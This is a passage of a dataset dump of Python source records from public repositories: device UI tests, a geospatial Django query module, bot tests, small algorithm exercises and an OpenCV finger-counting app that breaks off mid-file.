created = False\n while created == False:\n try:\n f = open(FILE_NAME_SAMPLING_PULSE_LOW, \"w+\")\n f.close()\n created = True\n except:\n # logging.warning(\"File cannot be created, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_LOW)\n logging.debug(\"File cannot be created, we try again. File = \" + FILE_NAME_SAMPLING_PULSE_LOW)\n # debug code\n logging.debug(\"sampling_pulse set to ZERO\")\n logging.info(\"Thread %s: finished!\", name)\n\n def set_sampling_pulse(self):\n self.__evt_set_one.set()\n\n def clear_sampling_pulse(self):\n self.__evt_set_zero.set()\n\n def get_data_out(self):\n # update value\n self.__integer_output.do_int_out()\n # get and transform value according to this formula\n # relating the range of the acquired value with the range of the real measurement (e.g. physical temperature)\n # y = y1 + (x - x1)*((y2 - y1)/(x2 - x1))\n ret_val = MIN_VAL + (self.__integer_output.INT_OUT - MIN_INT) * ((MAX_VAL - MIN_VAL) / (MAX_INT - MIN_INT))\n # return transformed value\n return ret_val\n\n\n\n\n","repo_name":"ClarkFieseln/FPGA_HW_SIM_FWK","sub_path":"python/hw_sim_fwk/adc_app.py","file_name":"adc_app.py","file_ext":"py","file_size_in_byte":6596,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"37"} +{"seq_id":"9058960647","text":"# -*- coding:utf-8 -*-\n\nimport pytest\nimport uiautomator2\nimport allure\nfrom element.element import ResourceId as id\nfrom element.element import Xpath\nfrom element.element import Text\nimport time\n\n\n@allure.feature(\"首页-屏幕共享\")\n@pytest.mark.P0\nclass TestPressureScreenShare(object):\n d = uiautomator2.connect(id.IP)\n\n # @allure.step(\"前置条件\")\n def setup_class(self):\n self.d.dump_hierarchy\n if self.d.exists(resourceId=id.EXIT):\n self.d(resourceId=id.EXIT).click()\n\n # @allure.step(\"恢复测试环境\")\n def teardown_class(self):\n self.d.dump_hierarchy\n\n # 退出MindLinker\n try:\n assert self.d(resourceId=id.EXIT).exists\n except:\n self.d.app_stop(id.PACKAGE_NAME)\n print(\"不在mindlinker首页,直接kill进程\")\n else:\n self.d(resourceId=id.EXIT).click()\n\n def test_pressure_screenshare(self):\n # 等待启动应用\n self.d.app_start(id.PACKAGE_NAME)\n time.sleep(5)\n\n for i in range(1, 100):\n self.d.dump_hierarchy\n\n # 判断是否在MindLinker首页,点击屏幕共享\n if self.d.exists(text=\"屏幕共享\"):\n self.d(resourceId=id.SCREEN_SHARE).click()\n else:\n print(\"start mindlinker failed\")\n\n time.sleep(6)\n # 等6进入视频会议\n self.d.dump_hierarchy\n\n if self.d(text=Text.END_SHARING):\n time.sleep(5)\n assert self.d(resourceId=id.MEETING_ID).exists\n assert self.d(resourceId=id.MEETING_TIME).exists\n assert self.d(resourceId=id.SHARING_STATUS).exists\n self.d.click(3790, 1756)\n time.sleep(1)\n self.d.dump_hierarchy\n\n assert self.d(resourceId=Text.END_SHARING)\n # 点击离开\n self.d(resourceId=id.HANGUP_LAYOUT).click()\n time.sleep(2)\n self.d.dump_hierarchy\n\n # 点击结束会议\n try:\n assert self.d(resourceId=id.ALERT_CENTER_BUTTON).exists\n except:\n print(\"离开会议的弹窗异常\")\n else:\n self.d(resourceId=id.ALERT_CENTER_BUTTON).click()\n time.sleep(3)\n\n\nif __name__ == '__main__':\n TestPressureScreenShare()\n","repo_name":"yuxhuanga/AutomationCase","sub_path":"testcase/mindlinker/test_pressure_screenshar.py","file_name":"test_pressure_screenshar.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39758679708","text":"biblioteca = {\n 'Categorias':[\"Ciencia Ficción\",\"Cómics\",\"Científicos\",\"Suspenso\",\"Videojuegos\",\"Aventura\",\"Cuentos\"],\n 'Nombres':{\"Libros\":[\"Dune\",\"The legend of Zelda\",\"La vida secreta de la mente\",\"Miss Marte\",\"LA leyenda de Zelda\",\"La sangre de los inocentes\",\"El hombre que vendió su ferrari\"],\n \"Autores\":[\"Frank Herbert\",\"Hyrule Historia\",\"Mariano Sigman\",\"Manuel Jabois\",\"Enciclopedia\",\"Julia Navarro\",\"Robin Sharma\"],\n },\n \"Disponibilidad\":{\"1\":\"Disponible\",\n \"2\":\"Prestado\",\n },\n \"Usuarios\":{\"nombre\":[\"Juan\",\"Miguel\",\"Roberta\",\"Alberto\",\"Gilberta\",\"Leticia\",\"Maya\",\"Enrique\"],\n \"apellido\":[\"Rodriguez\",\"Lopez\",\"Chipana\",\"Alvarez\",\"Altamirano\",\"Osis\",\"Yañez\",\"Zapana\"],\n },\n}\n\nmsg = \"\"\"Elija una de las siguientes opciones:\n\na) Ver categorías\nb) Ver libros y autores\nc) Cambiar disponibilidad del libro\nd) Ver los usuarios\n\"\"\"\nprint(msg)\nopcionMenu=input('Ingrese la opcion del menu:').upper()\n\nCategorias=biblioteca[\"Categorias\"]\nLibyAut=biblioteca[\"Nombres\"]\nUsuarios=biblioteca[\"Usuarios\"]\nif(opcionMenu!='A' or opcionMenu!='B' or opcionMenu!='C'):\n if opcionMenu=='A':\n print(\"Las categorías son: \",Categorias)\n if opcionMenu=='B':\n print(\"Los autores y libros son: \",LibyAut)\n if opcionMenu=='C':\n print(\"Escoja 1 para cambiar el libro como disponible y 2 para cambiar el libro como prestado\")\n num=int(input(\"Número a escoger: \"))\n if num==1:\n print(\"Libro disponible\")\n elif num==2:\n print(\"Libro prestado\")\n else:\n print(\"Dato incorrecto\")\n if opcionMenu=='D':\n print(\"Los usuarios son: \",Usuarios)\n \n else:\n print('esta opcion no es valida')\nelse:\n print('elija una opcion correcta')","repo_name":"TatiL23/Pythonclases","sub_path":"Lista de ejercicios Nro 2/Preguna2.py","file_name":"Preguna2.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"43750357192","text":"#!/usr/bin/env python\n\n# testing cancellation of third term after substitution of μ\n\n# μ = sum_{l=1}^K T_{-lc}(y_l)\n#\n# T_{kc}(μ) = \\sum_{l=1}^K y_{l,(k-l)c + n % N}\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef compute_first(*, K, c, N, y_list):\n result = 0\n for k in range(0, K):\n for n in range(0, N):\n result += y_list[k][n]**2\n return result\n\ndef compute_second(*, K, c, N, y_list):\n result = 0\n for k in range(0, K):\n for n in range(0, N):\n for l in range(0, K):\n # += y_list[l][((k - l) * c + n) % N]\n result += y_list[k][n] * y_list[l][((k - l) * c + n) % N]\n\n return result\n\ndef compute_third(*, K, c, N, y_list):\n result = 0\n for k in range(0, K):\n for n in range(0, N):\n temp = 0\n for l in range(0, K):\n temp += y_list[l][((k - l) * c + n) % N]\n result += temp**2\n # result += temp\n\n return result\n\ndef compute_multiml(*, K, c, N, y_list):\n Y_list = [np.fft.fft(y) for y in y_list]\n\n cg_list = []\n for diff in range(0, len(y_list)):\n cg = np.zeros(len(y_list[0]))\n # print(f'diff -- {diff}')\n for first in range(0, len(y_list) - diff):\n # print(f'({first}, {first + diff})')\n cg += np.fft.ifft(Y_list[first] * Y_list[first + diff].conj()).real\n\n cg_list.append(cg)\n\n result = np.zeros(len(y_list[0]))\n for diff, cg in enumerate(cg_list, 1):\n downsampled = cg[::diff]\n result[:len(downsampled)] += downsampled\n\n return result\n\n\ndef compute_combined(*, K, c, N, y_list):\n result = 0\n for k in range(0, K):\n for n in range(0, N):\n temp = 0\n for l in range(0, K):\n temp += y_list[l][((k - l) * c + n) % N]\n\n result += (y_list[k][n] - temp)**2\n\n return result\n\ndef compute_indices(*, K, c, N, y_list):\n indices = np.zeros((K, N))\n for k in range(0, K):\n for n in range(0, N):\n temp = 0\n for l in range(0, K):\n indices[l][((k - l) * c + n) % N] += 1\n\n return indices\n\n\nK = 10\nN = 30\nc = 1\n# y = np.arange(N)\ny = np.random.random(N)\n# y = np.array([1,2,3,4,4,4,4,5,6,3,2,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3,1,1,3,3])\n# y = np.zeros(N)\n# y[0] = 1\n# y[1] = 1\n# y[2] = 1\n\ny_list = [np.roll(y, c * k) for k in range(K)]\n\n\ndef scan(func, *, c, K, N, y_list):\n scanned = []\n for c in range(N):\n scanned.append(func(c=c, K=K, N=N, y_list=y_list))\n\n return scanned\n\n# scanned_indices = []\n# for c in range(N):\n# scanned_indices.append(compute_indices(c=c, K=K, N=N, y_list=y_list))\n\ndef norm(x):\n if not type(x) is np.ndarray:\n x = np.array(x)\n return (x - x.min()) / (x.max() - x.min())\n\n# first = scan(compute_first, c=c, K=K, N=N, y_list=y_list)\nsecond = norm(scan(compute_second, c=c, K=K, N=N, y_list=y_list))\nthird = norm(scan(compute_third, c=c, K=K, N=N, y_list=y_list))\ncombined = norm(scan(compute_combined, c=c, K=K, N=N, y_list=y_list))\n# added = norm(-2 * second + third)\nmultiml = norm(compute_multiml(c=c, K=K, N=N, y_list=y_list))\n\n# plt.plot(first, label='first')\nplt.plot(second, label='second')\nplt.plot(third, label='third')\n# plt.plot(combined, '*', label='combined')\n# plt.plot(added, 'o', label='added')\nplt.plot(multiml, label='multiml')\n\nplt.legend(loc='upper right')\nplt.show()\n","repo_name":"Evidlo/icip2022","sub_path":"code/old/third_term.py","file_name":"third_term.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1911646785","text":"# -*- coding: utf-8 -*-\nimport threading\n\n\ndef pytest_exception_interact(node, call, report):\n \"\"\"\n Drop into PyCharm debugger, if available, on uncaught exceptions.\n \"\"\"\n try:\n import pydevd\n from pydevd import pydevd_tracing\n except ImportError:\n pass\n else:\n exctype, value, traceback = call.excinfo._excinfo\n frames = []\n while traceback:\n frames.append(traceback.tb_frame)\n traceback = traceback.tb_next\n thread = threading.current_thread()\n frames_by_id = dict([(id(frame), frame) for frame in frames])\n frame = frames[-1]\n exception = (exctype, value, traceback)\n if hasattr(thread, \"additional_info\"):\n thread.additional_info.pydev_message = \"test fail\"\n try:\n debugger = pydevd.debugger\n except AttributeError:\n debugger = pydevd.get_global_debugger()\n pydevd_tracing.SetTrace(None) # no tracing from here\n try:\n debugger.stop_on_unhandled_exception(thread, frame, frames_by_id, exception)\n except AttributeError:\n # fallback to pre PyCharm 2019.2 API\n debugger.handle_post_mortem_stop(thread, frame, frames_by_id, exception)\n\n return report\n","repo_name":"jlubcke/pytest-pycharm","sub_path":"pytest_pycharm.py","file_name":"pytest_pycharm.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":123,"dataset":"github-code","pt":"37"} +{"seq_id":"40962322891","text":"\"\"\"Handle adhoc-query objects.\n\nThe adhoc query is based on incoming request parameters,\nsuch as the \"FILTER\", \"BBOX\" and \"RESOURCEID\" parameters.\n\nThese definitions follow the WFS spec.\n\"\"\"\nfrom __future__ import annotations\n\nimport logging\nfrom dataclasses import dataclass\n\nfrom django.db.models import Q\n\nfrom gisserver import conf\nfrom gisserver.exceptions import InvalidParameterValue, MissingParameterValue\nfrom gisserver.features import FeatureType\nfrom gisserver.geometries import BoundingBox\nfrom gisserver.parsers import fes20\nfrom gisserver.parsers.fes20 import operators\n\nfrom .base import QueryExpression\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass AdhocQuery(QueryExpression):\n \"\"\"The Ad hoc query expression parameters.\n\n This represents all dynamic queries received as request (hence \"adhoc\"),\n such as the \"FILTER\" and \"BBOX\" arguments from a HTTP GET.\n\n The WFS Spec has 3 class levels for this:\n - AdhocQueryExpression (types, projection, selection, sorting)\n - Query (adds srsName, featureVersion)\n\n For KVP requests, this dataclass is almost identical to **params.\n However, it allows combining the filter parameters. These become\n one single XML request for HTTP POST requests later.\n \"\"\"\n\n typeNames: list[FeatureType] # typeNames in WFS/FES spec\n # aliases: Optional[List[str]] = None\n handle: str = \"\" # only for XML POST requests\n\n # Projection clause:\n # propertyName\n\n # Selection clause:\n # - for XML POST this is encoded in a \n # - for HTTP GET, this is encoded as FILTER, FILTER_LANGUAGE, RESOURCEID, BBOX.\n filter: fes20.Filter | None = None\n filter_language: str = fes20.Filter.query_language\n bbox: BoundingBox | None = None\n\n # Sorting Clause\n sortBy: fes20.SortBy | None = None\n\n # Officially part of the GetFeature/GetPropertyValue request object,\n # but included here for ease of query implementation.\n resourceId: fes20.IdOperator | None = None\n\n # GetPropertyValue:\n # In the WFS spec, this is only part of the operation/presentation.\n # For Django, we'd like to make this part of the query too.\n value_reference: fes20.ValueReference | None = None\n\n @classmethod\n def from_kvp_request(cls, **params):\n \"\"\"Build this object from a HTTP GET (key-value-pair) request.\"\"\"\n # Validate optionally required parameters\n if not params[\"typeNames\"] and not params[\"resourceID\"]:\n raise MissingParameterValue(\"typeNames\", \"Empty TYPENAMES parameter\")\n\n # Validate mutually exclusive parameters\n if params[\"filter\"] and (params[\"bbox\"] or params[\"resourceID\"]):\n raise InvalidParameterValue(\n \"filter\",\n \"The FILTER parameter is mutually exclusive with BBOX and RESOURCEID\",\n )\n\n # Validate mutually exclusive parameters\n if params[\"resourceID\"]:\n if params[\"bbox\"] or params[\"filter\"]:\n raise InvalidParameterValue(\n \"resourceID\",\n \"The RESOURCEID parameter is mutually exclusive with BBOX and FILTER\",\n )\n\n # When ResourceId + typenames is defined, it should be a value from typenames\n # see WFS spec 7.9.2.4.1\n if params[\"typeNames\"]:\n id_type_names = params[\"resourceID\"].type_names\n if id_type_names:\n # Only test when the RESOURCEID has a typename.id format\n # Otherwise, this breaks the CITE RESOURCEID=test-UUID parameter.\n kvp_type_names = {\n feature_type.name for feature_type in params[\"typeNames\"]\n }\n if not kvp_type_names.issuperset(id_type_names):\n raise InvalidParameterValue(\n \"resourceID\",\n \"When TYPENAMES and RESOURCEID are combined, \"\n \"the RESOURCEID type should be included in TYPENAMES.\",\n )\n\n return AdhocQuery(\n typeNames=params[\"typeNames\"],\n filter=params[\"filter\"],\n filter_language=params[\"filter_language\"],\n bbox=params[\"bbox\"],\n sortBy=params[\"sortBy\"],\n resourceId=params[\"resourceID\"],\n value_reference=params.get(\"valueReference\"),\n )\n\n def bind(self, *args, **kwargs):\n \"\"\"Inform this quey object of the available feature types\"\"\"\n super().bind(*args, **kwargs)\n\n if self.resourceId:\n # Early validation whether the selected resourceID type exists.\n feature_types = [\n self.resolve_type_name(type_name, locator=\"resourceID\")\n for type_name in self.resourceId.type_names\n ]\n\n # Also make the behavior consistent, always supply the type name.\n if not self.typeNames:\n self.typeNames = feature_types\n\n def get_type_names(self):\n return self.typeNames\n\n def compile_query(\n self, feature_type: FeatureType, using=None\n ) -> fes20.CompiledQuery:\n \"\"\"Return our internal CompiledQuery object that can be applied to the queryset.\"\"\"\n if self.filter:\n # Generate the internal query object from the \n return self.filter.compile_query(feature_type, using=using)\n else:\n # Generate the internal query object from the BBOX and sortBy args.\n return self._compile_non_filter_query(feature_type, using=using)\n\n def _compile_non_filter_query(self, feature_type: FeatureType, using=None):\n \"\"\"Generate the query based on the remaining parameters.\n\n This is slightly more efficient then generating the fes Filter object\n from these KVP parameters (which could also be done within the request method).\n \"\"\"\n compiler = fes20.CompiledQuery(feature_type=feature_type, using=using)\n\n if self.bbox:\n # Validate whether the provided SRID is supported.\n # While PostGIS would support many more ID's,\n # it would crash when an unsupported ID is given.\n crs = self.bbox.crs\n if (\n conf.GISSERVER_SUPPORTED_CRS_ONLY\n and crs is not None\n and crs not in feature_type.supported_crs\n ):\n raise InvalidParameterValue(\n \"bbox\",\n f\"Feature '{feature_type.name}' does not support SRID {crs.srid}.\",\n )\n\n # Using __within does not work with geometries\n # that only partially exist within the bbox\n lookup = operators.SpatialOperatorName.BBOX.value # \"intersects\"\n filters = {\n f\"{feature_type.geometry_field.name}__{lookup}\": self.bbox.as_polygon(),\n }\n compiler.add_lookups(Q(**filters))\n\n if self.resourceId:\n self.resourceId.build_query(compiler=compiler)\n\n if self.sortBy:\n compiler.add_sort_by(self.sortBy)\n\n return compiler\n","repo_name":"Amsterdam/django-gisserver","sub_path":"gisserver/queries/adhoc.py","file_name":"adhoc.py","file_ext":"py","file_size_in_byte":7146,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"} +{"seq_id":"29170075677","text":"from unittest.mock import MagicMock, patch\n\nimport pytest\n\nfrom geniust import constants\nfrom geniust.functions import account\n\n\n@pytest.mark.parametrize(\"genius_token\", [None, \"some_token\"])\n@pytest.mark.parametrize(\"spotify_token\", [None, \"some_token\"])\ndef test_login_choices(update_message, context, genius_token, spotify_token):\n update = update_message\n context.user_data[\"genius_token\"] = genius_token\n context.user_data[\"spotify_token\"] = spotify_token\n\n res = account.login_choices(update, context)\n\n if update_message.message.chat.type == \"group\":\n assert res == constants.END\n return\n\n keyboard = update.message.reply_text.call_args[1][\"reply_markup\"][\"inline_keyboard\"]\n if genius_token and spotify_token:\n assert len(keyboard) == 0\n elif genius_token or spotify_token:\n assert len(keyboard) == 1\n else:\n assert len(keyboard) == 2\n assert res == constants.END\n\n\n@pytest.mark.parametrize(\"platform\", [\"genius\", \"spotify\"])\ndef test_login(update_callback_query, context, platform):\n update = update_callback_query\n update.callback_query.data = f\"account_login_{platform}\"\n\n res = account.login(update, context)\n\n update.callback_query.answer.assert_called_once()\n assert res == constants.END\n\n\ndef test_logged_in(update_callback_query, context):\n update = update_callback_query\n user = context.user_data\n user[\"token\"] = \"test_token\"\n\n res = account.logged_in(update, context)\n\n keyboard = update.callback_query.edit_message_text.call_args[1][\"reply_markup\"][\n \"inline_keyboard\"\n ]\n\n assert len(keyboard) == 3\n\n update.callback_query.answer.assert_called_once()\n\n assert res == constants.END\n\n\ndef test_logout(update_callback_query, context):\n update = update_callback_query\n user = context.user_data\n user[\"token\"] = \"test_token\"\n\n res = account.logout(update, context)\n\n context.bot_data[\"db\"].delete_token.assert_called_once()\n\n update.callback_query.answer.assert_called_once()\n\n assert res == constants.END\n\n\n@pytest.mark.parametrize(\"artist_data\", [pytest.lazy_fixture(\"song_dict\"), None])\ndef test_display_account(update_callback_query, context, account_dict, artist_data):\n update = update_callback_query\n user = context.user_data\n user[\"token\"] = \"test_token\"\n\n genius = MagicMock()\n if artist_data is None:\n account_dict[\"user\"][\"artist\"] = None\n else:\n song = artist_data\n account_dict[\"user\"][\"artist\"] = song[\"song\"][\"primary_artist\"]\n\n genius().account.return_value = account_dict\n\n with patch(\"geniust.api.GeniusT\", genius):\n res = account.display_account(update, context)\n\n update.callback_query.message.delete.assert_called_once()\n\n assert res == constants.END\n","repo_name":"allerter/geniust","sub_path":"tests/functions/test_account.py","file_name":"test_account.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"18003511773","text":"import numpy as np\nfrom keras.layers import Dropout, Dense\nfrom keras.layers import GaussianNoise\nfrom keras.layers import LSTM\nfrom keras.models import Sequential\nfrom scipy import spatial\n\nimport services.tagging.preprocessing as preprocessing\nimport services.tagging.featureextraction as featureextraction\n\nbatch_size = 1\nsamples = 1\n\n\n\n\nfeatureextraction.create_wordvec()\n\n\n\n\ndef createNetwork(x_train,y_train):\n global model\n model = Sequential()\n model.add(GaussianNoise(0.1,input_shape=(None,300)))\n model.add(LSTM(32,input_shape=(None,300),return_sequences=False,batch_size=batch_size))\n model.add(Dropout(0.5))\n model.add(Dense(300))\n model.compile(optimizer='rmsprop',loss='mean_squared_error',metrics=['accuracy']) #cosine proximity\n print(model.summary())\n\n\ndef prepare_train_sets():\n x_train, y_train,x_test,y_test = preprocessing.get_data()\n\n test_text = []\n test_tag = []\n\n for idx, text in enumerate(x_train):\n x_train[idx] = np.array(\n featureextraction.get_vecs(preprocessing.preprocessing_pipeline(text, featureextraction.wordvecs)))\n x_train[idx] = np.reshape(x_train[idx],(1,len(x_train[idx]),300))\n print(x_train[idx].shape)\n #x_train = np.array(x_train)\n\n\n for idx,tag in enumerate(y_train):\n y_train[idx]=np.array(featureextraction.get_vecs(tag))\n\n for idx, text in enumerate(x_test):\n test_text.append(str(x_test[idx]))\n print(test_text[idx])\n x_test[idx] = np.array(\n featureextraction.get_vecs(preprocessing.preprocessing_pipeline(text, featureextraction.wordvecs)))\n x_test[idx] = np.reshape(x_test[idx],(1,len(x_test[idx]),300))\n\n for idx,tag in enumerate(y_test):\n test_tag.append(str(tag))\n print(test_text[idx])\n y_test[idx]=np.array(featureextraction.get_vecs(tag))\n\n y_train = np.array(y_train)\n y_test = np.array(y_test)\n return x_train,y_train,x_test,y_test,test_text,test_tag\n\n\ndef get_accuracy(x_test,y_test):\n expected_wordvec = y_test\n prediction = model.predict(x_test)\n result = 1 - spatial.distance.cosine(expected_wordvec,prediction)\n\n\n print(\"SIMILARITY: \",result)\n\n prediction = np.array(prediction)\n prediction=np.reshape(prediction,prediction.shape[1])\n print(featureextraction.wordvecs.similar_by_vector(prediction))\n\n\n\n\nx_train,y_train,x_test,y_test,test_text,test_tag = prepare_train_sets()\nprint(len(x_train))\ncreateNetwork(x_train[0],y_train[0])\n\n\nfor i in range(0,len(x_train)):\n print(x_train[i].shape)\n y_train[i] = y_train[i].reshape(1,1,300)\n model.train_on_batch(x_train[i],y_train[i])\n\n print(\"batch trained: \",i)\nprint(len(test_tag))\n\nfor i in range(0,len(x_test)):\n y_test[i] = y_test[i].reshape(1,1,300)\n print(\"TEST SAMPLE: \",i)\n print(test_text[i])\n print(\"TAG: \",test_tag[i])\n get_accuracy(x_test[i],y_test[i])\n print(model.test_on_batch(x_test[i],y_train[i]))\n\n\n\n\n#x_train[0]=x_train[0].reshape(1,96,300)\n#np.reshape(y_train[0],(1,1,300))\n#createNetwork(x_train[0],y_train[0])\n\n\n\n\n","repo_name":"INTER-ACT/ilai","sub_path":"services/tagging/lstm_test.py","file_name":"lstm_test.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"22525304927","text":"\"\"\"\nThis problem was asked by Facebook.\nGiven a multiset of integers, return whether it can be partitioned into two subsets whose sums are the same.\n\nFor example, given the multiset {15, 5, 20, 10, 35, 15, 10}, it would return true, \nsince we can split it up into {15, 5, 10, 15, 10} and {20, 35}, which both add up to 55.\n\nGiven the multiset {15, 5, 20, 10, 35}, it would return false, \nsince we can't split it up into two subsets that add up to the same sum.\n\"\"\"\nimport time\n\n\"\"\"\nDynamic Programming solution:\nTime complexity: O(n*S), n~len(multiset), S~sum(multiset)\nSpace complexity: O(S)\n\"\"\"\ndef canPartitionMultiset_DP(multiset):\n S = sum(multiset)\n print(\"S: \", S)\n if S % 2 != 0:\n return False\n \n print(\"S//2: \", S//2)\n\n dp = [False] * ((S//2) + 1)\n print(\"dp: \", dp)\n\n dp[0] = True # IF the total sum is 0, then this means there can be 2 partitions of 0 elements.\n\n for e in multiset:\n for j in range(S//2, e-1, -1):\n print(f\"-- e: {e}, j: {j}\")\n print(f\"dp[j]={dp[j]}, dp[j-e]={dp[j-e]}\")\n dp[j] = dp[j] or dp[j-e]\n print(f\"dp[j] set to: \", dp[j])\n return dp[S//2]\n\ndef test1():\n s = [15, 5, 20, 10, 35, 15, 10] # expected: True\n # s = [15, 5, 20, 10, 35] # expected: False\n res = canPartitionMultiset_DP(s)\n print(\"res: \", res)\n\n#test1()\n\n# ==========================================================\n\ndef canPartitionMultiset_Recursive(s):\n # sList = sorted(s)\n # print(\"sList: \", sList)\n\n l1 = s\n l2 = []\n res = canPartitionSubsets(l1, l2)\n return res\n\ndef canPartitionSubsets(l1, l2):\n l1Sum = sum(l1)\n l2Sum = sum(l2)\n\n res = True\n if l1Sum == l2Sum:\n return res\n else:\n res = False\n\n for i,_ in enumerate(l1):\n popn = l1.pop(i)\n l2.append(popn)\n\n res |= canPartitionSubsets(l1, l2)\n\n if res == True:\n return True\n \n l1.insert(i, popn)\n l2.pop(-1)\n\n return res\n\ndef test2():\n s = [15, 5, 20, 10, 35, 15, 10] # expected: True\n # s = [15, 5, 20, 10, 35] # expected: False\n res = canPartitionMultiset_Recursive(s)\n print(\"res: \", res)\n\ntest2()\n","repo_name":"mcxu/code-sandbox","sub_path":"PythonSandbox/src/daily_coding_problem/dcp1276_same_sum_subset_partition.py","file_name":"dcp1276_same_sum_subset_partition.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"33760576888","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020/6/10 8:52\n @Author : QDY\n @FileName: 9. 回文数.py\n 判断一个整数是否是回文数。回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数。\n\n 示例 1:\n 输入: 121\n 输出: true\n\n 示例2:\n 输入: -121\n 输出: false\n 解释: 从左向右读, 为 -121 。 从右向左读, 为 121- 。因此它不是一个回文数。\n\n 示例 3:\n 输入: 10\n 输出: false\n 解释: 从右向左读, 为 01 。因此它不是一个回文数。\n\n 进阶:\n 你能���将整数转为字符串来解决这个问题吗?\n\n\"\"\"\n\n\nclass Solution:\n def isPalindrome(self, x):\n if x < 0 or (x != 0 and x % 10 == 0): return False\n if x < 10: return True\n num = 0\n while x > num: # 反转一半的数字\n num = num * 10 + x % 10\n x //= 10\n # 数位为偶数时相等,为奇数时num比x多了最后一位\n return x == num or x == num // 10\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/9. 回文数.py","file_name":"9. 回文数.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"7917499499","text":"import threading\nfrom functools import partial\nimport cv2\nfrom kivy.app import App\nfrom kivy.clock import Clock\nfrom kivy.graphics.texture import Texture\nfrom kivy.lang import Builder\nfrom kivy.uix.screenmanager import ScreenManager, Screen\nimport math\nimport imutils\n\n# global variables\nbg = None\n\n\nclass MainScreen(Screen):\n pass\n\n\nclass Manager(ScreenManager):\n pass\n\n\nBuilder.load_string('''\n:\n name: \"Test\"\n\n FloatLayout:\n Label:\n text: \"Webcam from OpenCV?\"\n pos_hint: {\"x\":0.0, \"y\":0.8}\n size_hint: 1.0, 0.2\n\n Image:\n # this is where the video will show\n # the id allows easy access\n id: vid\n size_hint: 1, 0.6\n allow_stretch: True # allow the video image to be scaled\n keep_ratio: True # keep the aspect ratio so people don't look squashed\n pos_hint: {'center_x':0.5, 'top':0.8}\n\n Button:\n text: 'Stop Video'\n pos_hint: {\"x\":0.0, \"y\":0.0}\n size_hint: 1.0, 0.2\n font_size: 50\n on_release: app.stop_vid()\n''')\n\n\nclass Main(App):\n\n aWeight = 0.5\n\n # region of interest (ROI) coordinates\n top, right, bottom, left = 10, 350, 225, 590\n\n # initialize num of frames\n num_frames = 0\n\n # --------------------------------------------------\n # To find the running average over the background\n # --------------------------------------------------\n def run_avg(self, image):\n global bg\n # initialize the background\n if bg is None:\n bg = image.copy().astype(\"float\")\n return\n\n # compute weighted average, accumulate it and update the background\n cv2.accumulateWeighted(image, bg, self.aWeight)\n\n # ---------------------------------------------\n # To segment the region of hand in the image\n # ---------------------------------------------\n def segment(self, image, threshold=25):\n global bg\n # find the absolute difference between background and current frame\n diff = cv2.absdiff(bg.astype(\"uint8\"), image)\n\n # threshold the diff image so that we get the foreground\n thresholded = cv2.threshold(diff, threshold, 255, cv2.THRESH_BINARY)[1]\n\n # get the contours in the thresholded image\n (cnts, _) = cv2.findContours(thresholded.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n # return None, if no contours detected\n if len(cnts) == 0:\n return\n else:\n # analyze the contours\n print(\"Number of Contours found = \" + str(len(cnts)))\n cv2.drawContours(image, cnts, -1, (0, 255, 0), 3)\n cv2.imshow('All Contours', image)\n\n # based on contour area, get the maximum contour which is the hand\n segmented = max(cnts, key=cv2.contourArea)\n cv2.drawContours(image, segmented, -1, (0, 255, 0), 3)\n cv2.imshow('Max Contour', image)\n\n return (thresholded, segmented)\n\n # --------------------------------------------------------------\n # To count the number of fingers in the segmented hand region\n # --------------------------------------------------------------\n def count(self, thresholded, segmented):\n # find the convex hull of the segmented hand region\n hull = cv2.convexHull(segmented, returnPoints=False)\n defects = cv2.convexityDefects(segmented, hull)\n\n # Bascially indicates how much finger is visible in screen\n countDefects = 0\n\n for i in range(defects.shape[0]):\n # Returns start point, end point, farthest point, approximate distance to farthest point\n s, e, f, d = defects[i, 0]\n start = tuple(segmented[s][0])\n end = tuple(segmented[e][0])\n far = tuple(segmented[f][0])\n\n a = math.sqrt((end[0] - start[0]) ** 2 + (end[1] - start[1]) ** 2)\n b = math.sqrt((far[0] - start[0]) ** 2 + (far[1] - start[1]) ** 2)\n c = math.sqrt((end[0] - far[0]) ** 2 + (end[1] - far[1]) ** 2)\n\n # This angle is used while hand is moving around\n angle = (math.acos((b ** 2 + c ** 2 - a ** 2) / (2 * b * c)) * 180) / 3.14\n\n # If angle < 90 degree then treat as a finger\n if angle <= 90:\n countDefects += 1\n\n return (countDefects + 1)\n\n def build(self):\n\n # start the camera access code on a separate thread\n # if this was done on the main thread, GUI would stop\n # daemon=True means kill this thread when app stops\n threading.Thread(target=self.doit, daemon=True).start()\n\n sm = ScreenManager()\n self.main_screen = MainScreen()\n sm.add_widget(self.main_screen)\n return sm\n\n def doit(self):\n cam = cv2.VideoCapture(0)\n\n # this code is run in a separate thread\n self.do_vid = True # flag to stop loop\n\n # start processing loop\n while (self.do_vid):\n ret, frame = cam.read()\n\n frame = imutils.resize(frame, width=700)\n\n frame = cv2.flip(frame, 1)\n\n # clone the frame\n clone = frame.copy()\n\n # get the ROI\n roi 